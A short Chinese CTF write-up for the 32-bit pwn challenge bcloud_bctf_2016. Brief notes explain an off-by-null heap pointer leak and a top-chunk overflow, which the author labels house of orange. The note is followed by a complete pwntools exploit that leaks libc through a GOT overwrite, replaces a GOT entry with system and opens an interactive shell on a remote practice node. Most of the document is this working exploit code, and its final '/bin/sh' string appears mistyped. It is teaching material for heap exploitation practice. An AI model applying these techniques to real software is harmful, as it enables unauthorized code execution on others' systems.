image.png
    image.png
    这里栈上有两个,一个是s数组然后还有一个是指针,指针在输入数据完后拷贝,所以这里就会把指针的地址也拷贝到堆上
    off by null 漏洞
    image.png
    image.png
    这个地方仔细想想就会明白,当拷贝s时只要这三个连续都有内容strcopy就会将数据全拷贝到堆上,然后就会溢出到top_chunk上这里我们就可以用house of orange来实现我们的攻击
    有个地方很奇怪就是send和sendline的问题,分析的时候感觉是没有问题的,但是就是会有这个问题,没想明白

    1. from pwn import*
    2. from LibcSearcher import*
    3. context.log_level = 'debug'
    4. #context.arch = 'amd64'
    5. io =process('./bcloud_bctf_2016')
    6. io = remote("node4.buuoj.cn",28365)
    7. elf = ELF('./bcloud_bctf_2016')
    8. #libc=ELF('/lib/i386-linux-gnu/libc.so.6')
    9. libc = ELF('libc-2.232.so')
    10. def debug():
    11. gdb.attach(io)
    12. pause()
    13. def creat(length,value):
    14. io.sendlineafter("option--->>","1")
    15. io.sendlineafter("Input the length of the note content:",str(length))
    16. io.sendlineafter("Input the content:",value)
    17. def edit(id,value):
    18. io.sendlineafter("option--->>","3")
    19. io.sendlineafter("Input the id:",str(id))
    20. io.sendafter("Input the new content:",value)
    21. def free(id):
    22. io.sendlineafter("option--->>","4")
    23. io.sendlineafter("Input the id:",str(id))
    24. io.sendafter("Input your name:",b'a'*62+b"bb")
    25. io.recvuntil("bb")
    26. heap_addr = u32(io.recv(4))
    27. log.info("heap_addr--------------->"+hex(heap_addr))
    28. io.sendafter("Org:",b'a'*0x40)
    29. io.sendlineafter("Host:",p32(0xffffffff))
    30. # gdb.attach(io,"b *0x0804897d")
    31. # pause()
    32. heap_arry_addr = 0x0804B120
    33. top_chunk_addr = heap_addr+216
    34. offest = heap_arry_addr - top_chunk_addr -8
    35. free_got = elf.got["free"]
    36. puts_plt = elf.plt["puts"]
    37. puts_got = elf.got["puts"]
    38. atoi_got = elf.got["atoi"]
    39. payload = p32(free_got)*2+p32(puts_got)+p32(atoi_got)
    40. creat(40,"aaa")
    41. creat(40,"bbb")
    42. creat(offest-96,"cccc")
    43. creat(32,payload)
    44. edit(1,p32(puts_plt))
    45. io.sendline("\n")
    46. free(2)
    47. #debug()
    48. puts_addr = u32(io.recvuntil("\xf7")[-4:])
    49. log.info("puts_addr---------->"+hex(puts_addr))
    50. libcbase = puts_addr - libc.sym["puts"]
    51. log.info("libcbase---------->"+hex(libcbase))
    52. system_addr = libcbase +libc.sym["system"]
    53. log.info("system_addr-------->"+hex(system_addr))
    54. edit(3,p32(system_addr))
    55. io.sendline("bin/sh\x00")
    56. #0x0804B0A0
    57. io.interactive()